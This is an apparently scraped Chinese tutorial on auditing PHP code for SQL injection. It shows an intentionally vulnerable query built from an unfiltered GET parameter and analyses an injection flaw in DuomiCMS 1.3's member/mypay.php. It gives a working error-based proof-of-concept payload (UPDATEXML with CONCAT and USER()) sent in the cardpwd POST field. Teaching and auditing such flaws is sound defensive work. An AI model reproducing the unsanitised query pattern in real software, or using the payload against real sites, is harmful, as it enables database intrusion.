当前位置:Gxlcms > 数据库问题 > PHP代码审计SQL注入篇

PHP代码审计SQL注入篇

时间:2021-07-01 10:21:17 帮助过:24人阅读

php
  • $uid=$_GET[‘id‘];
  • $sql="SELECT * FROM userinfo where id=$uid";
  • $conn=mysql_connect (‘localhost‘,‘root‘,‘root‘);
  • mysql_select_db("sql",$conn);
  • $result=mysql_query($sql,$conn);
  • print_r(‘当前SQL语句: ‘.$sql.
    结果: ‘
    );
  • print_r(mysql_fetch_row($result));
  • ?>
  • 技术分享 首先我们看一下代码:
    1. $uid=$_GET[‘id‘]; //获取GET值
    1. $sql="SELECT * FROM userinfo where id=$uid"; //执行SQL语句
    1. $conn=mysql_connect (‘localhost‘,‘root‘,‘root‘);
    2. mysql_select_db("sql",$conn); //数据库配配置
    1. $result=mysql_query($sql,$conn); //进行查询SQL语句
    1. print_r(‘当前SQL语句: ‘.$sql.
      结果: ‘
      );
    2. print_r(mysql_fetch_row($result)); //进行打印输出没有任何的过滤所以利用简单的SQL注入语句就可以直接查询相关需要的信息。
    技术分享 从截图可以看出原本的SQL语句已被注入更改,使用了UNION查询到当前用户。
    另外一个多米CMS最新版1.3版本注入实例。漏洞文件member/mypay.php(14-40行)
    1. if(empty($_SESSION[‘duomi_user_id‘])){
    2. showMsg("请先登录","login.php");
    3. exit();
    4. }
    5. elseif($dm==‘mypay‘){
    6. $key=$_POST[‘cardkey‘];
    7. if($key==""){showMsg("请输入充值卡号","-1");exit;}
    8. $pwd=$_POST[‘cardpwd‘];
    9. if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}
    10. $sqlt="SELECT * FROM duomi_card where ckey=‘$key‘";
    11. $sqlt="SELECT * FROM duomi_card where cpwd=‘$pwd‘";
    12. $row1 = $dsql->GetOne($sqlt);
    13. if(!is_array($row1) OR $row1[‘status‘]<>0){
    14. showMsg("充值卡信息有误","-1");exit;
    15. }else{
    16. $uname=$_SESSION[‘duomi_user_name‘];
    17. $points=$row1[‘climit‘];
    18. $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=‘$uname‘,status=‘1‘ WHERE ckey=‘$key‘");
    19. $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=‘$uname‘,status=‘1‘ WHERE cpwd=‘$pwd‘");
    20. $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username=‘$uname‘");
    21. showMsg("恭喜!充值成功!","mypay.php");exit;
    22. }
    23. }
    24. else
    25. {

    此处的”cardpwd”变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行):
    1. http://localhost/member/mypay.php?dm=mypay
    2. POSTcardpwd=-1‘ AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and ‘1‘=‘1

    技术分享 


    来自为知笔记(Wiz)

    PHP代码审计SQL注入篇

    标签:normal   style   color   apple   审计   

    人气教程排行